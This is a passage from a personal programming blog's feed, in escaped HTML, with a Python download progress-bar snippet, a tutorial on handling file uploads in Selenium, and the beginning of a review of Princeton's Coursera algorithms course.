&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; requests&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; download&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(url, filename):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    with&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; open&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(filename, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;wb&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;as&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; f:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;        response &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; requests.get(url, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;stream&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;True&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;        total &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; response.headers.get(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;content-length&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;        if&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; total &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;is&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; None&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;            f.write(response.content)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;        else&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;            downloaded &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;            total &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; int&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(total)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;            for&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; data &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; response.iter_content(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;chunk_size&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;max&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(total&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;1000&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;), &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;1024&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;1024&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;                downloaded &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; len&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(data)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;                f.write(data)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;                done &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; int&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;50&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;downloaded&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;total)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;                sys.stdout.write(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;\r&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;{}{}&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;]&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;.format(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;█&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; *&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; done, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;.&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; *&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;50&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;done)))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;                sys.stdout.flush()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    sys.stdout.write(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here’s a little demo of it in action —&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ python3 demo.py&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;[*] Downloading test file of size 100 MB...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;[█████.............................................]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The contents of &lt;code&gt;demo.py&lt;/code&gt; file being —&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; dl &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; download&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;[*] Downloading test file of size 100 MB...&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;download(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;https://speed.hetzner.de/100MB.bin&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;100MB.bin&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;[*] Done!&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Pretty neat right? Hope this comes in useful for you. Till next time.&lt;/p&gt;
</content:encoded></item><item><title>Handling File Upload Through Selenium Python</title><link>https://sumit-ghosh.com/posts/handling-file-upload-selenium-python/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/handling-file-upload-selenium-python/</guid><description>Handling File Upload Through Selenium Python — by Sumit Ghosh.</description><pubDate>Sun, 03 Dec 2017 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;Once you start playing around with Selenium, sooner or later you’re gonna face the problem of handling file uploads. It’s like a rite of passage every Selenium programmers must go through. The problem with file upload is, once you click the upload button, the select file dialog box which opens up is a owned by the OS, not the browser, so you cannot control it using Selenium, meaning we have to find our way around it. There are different ways this can be accomplished.&lt;/p&gt;
&lt;h2 id=&quot;directly-passing-file-path-to-the-input-element&quot;&gt;Directly passing file-path to the &lt;em&gt;input&lt;/em&gt; element&lt;/h2&gt;
&lt;p&gt;In this approach, we are going to bypass the “select file” dialog box completely, passing the file-path to the webpage without ever opening it. We know that if the webpage is handling a file-upload, it must be having an &lt;code&gt;input&lt;/code&gt; tag with &lt;code&gt;type=file&lt;/code&gt; in it. Firstly you should check if Selenium can access this &lt;code&gt;input&lt;/code&gt; tag and modify it. For that, try the following code —&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;fileinput &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; driver.find_element_by_id(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;theFileInputElement&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;fileinput.send_keys(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;/path/to/file&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you can see, we are selecting the &lt;code&gt;input&lt;/code&gt; element, and then passing the path of the file to it using the &lt;code&gt;send_keys&lt;/code&gt; method. An example page on which this approach would work is the &lt;a href=&quot;https://imgur.com/upload&quot;&gt;image upload page of &lt;em&gt;Imgur&lt;/em&gt;&lt;/a&gt;. It contains a &lt;code&gt;input&lt;/code&gt; tag like the below mentioned HTML snippet —&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;html&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;input&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;  type&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;file&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;  id&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;global-files-button&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;  class&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;nodisplay&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;  name&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;files[]&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;  multiple-accept&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;.jpg,.jpeg,.png,.gif,.apng,.tiff,.tif,.bmp,.pdf,.xcf,.webp,.mp4,.mov&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Which can be handled by —&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;driver.find_element_by_id(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;global-files-button&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;).send_keys(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;/path/to/image/file&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But this approach doesn’t always work. Sometimes this code will throw an error stating that the element is not accessible. Usually this happens when the webpage handles file upload through some JavaScript &lt;em&gt;sorcery&lt;/em&gt;, instead of going the usual way. In that case, you’ll have to first modify the input element and make it accessible to Selenium. Check the following code —&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;fileinput &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; driver.find_element_by_css_selector(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;input.dz-hidden-input&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;driver.execute_script(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;arguments[0].style = &quot;&quot;; arguments[0].style.display = &quot;block&quot;; arguments[0].style.visibility = &quot;visible&quot;;&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, fileinput)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In the second line of the above code sample, we are running a JavaScript snippet which modifies the inaccessible &lt;code&gt;&amp;lt;input&amp;gt;&lt;/code&gt; tag, making it visible and accessible. After this, we can send the file-path to it using &lt;code&gt;send_keys&lt;/code&gt;, like we did above.&lt;/p&gt;
&lt;h2 id=&quot;controlling-the-file-upload-dialogue-not-recommended&quot;&gt;Controlling the file-upload dialogue (Not recommended)&lt;/h2&gt;
&lt;p&gt;Another way you could do this is, using some scripting tool to control the select-file dialog box. This is not recommended at all, as there doesn’t exist any cross-platform solution to do this. For windows, you could take a look at &lt;a href=&quot;https://www.autoitscript.com/site/autoit/&quot;&gt;&lt;em&gt;&lt;code&gt;AutoIt&lt;/code&gt;&lt;/em&gt;&lt;/a&gt;. But as it’s not cross-platform, I won’t recommend it.&lt;/p&gt;
</content:encoded></item><item><title>The Best (arguably!) Introductory Algorithms and Data Structure Course</title><link>https://sumit-ghosh.com/posts/coursera-princeton-algorithms-data-structures/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/coursera-princeton-algorithms-data-structures/</guid><description>The Best (arguably!) Introductory Algorithms and Data Structure Course — by Sumit Ghosh.</description><pubDate>Mon, 20 Nov 2017 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;The title suspiciously sounds like an advertisement or paid promotion, doesn’t it? I know it does, but still, believe me or not, it’s not. I just completed the introductory algorithms and data structures course &lt;a href=&quot;https://www.coursera.org/learn/algorithms-part1&quot;&gt;Algorithms Part 1&lt;/a&gt;, and I can say confidently that it is one of the—if not the best—course of its kind available out there on the interwebs. This course is offered by &lt;em&gt;Princeton University&lt;/em&gt; on &lt;em&gt;Coursera&lt;/em&gt;, taught by Robert Sedgewick.&lt;/p&gt;
&lt;p&gt;I won’t make this a lengthy post, I just want to point out some specialties of this course that made me love it. FYI, I just did a &lt;a href=&quot;http://www.cse.iitd.ac.in/~mausam/courses/col106/autumn2017/&quot;&gt;course&lt;/a&gt; on algorithms and data structures in my uni too, that too with the exact same syllabus. But I liked this Coursera one over that, mainly because of the assignments, as I go on length bitching about it below.&lt;/p&gt;
&lt;h2 id=&quot;assignments&quot;&gt;Assignments&lt;/h2&gt;
&lt;p&gt;I would recommend someone to do this course just for the assignments. They are fun, introduces a new algorithm to you and requires you to implement it using the data-structures taught. They don’t tell you to simply implement the data-structures, which gets very boring pretty soon. That was the problem with the course at my uni too, one of the assignments of that was just implementing B-Tree. I’m not saying that was a bad decision made by the professor, but it sure made the assignment a boring and tedious exercise. Anyway, stopping bitching about my college and going back to the point, Algorithms Part 1 is really fun when you do the assignments. I used to eagerly finish all the lectures as quickly as possible so that I can start working on the next assignment, that’s how fun the assignments are.&lt;/p&gt;
&lt;p&gt;A tip about the assignment, you can resubmit those as many times as possible, so you can keep improving and perfecting them until you get a perfect score, only if you want, of course, the passing mark is 80%. This brings me to another point, the &lt;em&gt;auto-grader&lt;/em&gt;. For someone who didn’t get the term, auto-grader is the grader software which grades the assignments, as you guessed, automatically. The auto-grader of this course is so rigorous and perfectly worked upon, that it makes achieving a perfect score in the assignments feel like a great accomplishment. It checks the code for correctness, speed, memory usage, checking these rigorously for every single function you wrote, individually. This is the first time I’ve seen such a rigorous auto-grader, it makes the assignment 10 times fun.&lt;/p&gt;
&lt;h2 id=&quot;course-content&quot;&gt;Course Content&lt;/h2&gt;
&lt;p&gt;The course content is really well thought-out and planned too. The lecture is concise, and if you watched it like I did, in 1.25x speed, it will be even more concise! (Sorry for the attempted joke.) The lecturer Robert Sedgewick is an extremely renowned computer scientist, author of several books and he discovered the data structure &lt;em&gt;Red-black Tree&lt;/em&gt;! If you don’t know, it’s one of the most used data-structure, the default implementation of Tree in Java, C++ and Linux kernel!&lt;/p&gt;
&lt;p&gt;Something I liked about the course very much is how Prof. Sedgewick shows pieces of code as he explains the data structures. Although it’s not required, I’d suggest that you implement the data-structures he’s teaching parallelly as you’re going through the course, like pausing the video once-in-a-while and then coding the algo to that part. This makes going through the course a bit slower, but it’s worth it. That way the concepts along with their implementation will be engraved in your mind. Even if you don’t do that, the assignments by themselves would give enough chance to exercise those fingers of yours. To be honest, I didn’t implement all the data-structures in the later part of the course myself, I only did the assignments. Also, you don’t need to take notes while you’re going through the course, as there are lecture slides available.&lt;/p&gt;
&lt;p&gt;Another thing worth mentioning, if you’re looking for lots of time-complexity analysis and another theoretical concepts, you won’t find that here. Prof. Sedgewick only covers the basics of the theoretical concepts of Computer Science, and for a more mathematical and rigorous introduction to Computer Science, you should consider some other courses. This course is mainly intended for beginners in Computer Science, covering mostly practical aspects of it. The next part of this course, Algorithms Part 2, delves deeper into more complex data structures and related algorithms, such as graph and string manipulation.&lt;/p&gt;
&lt;h2 id=&quot;reputation&quot;&gt;Reputation&lt;/h2&gt;
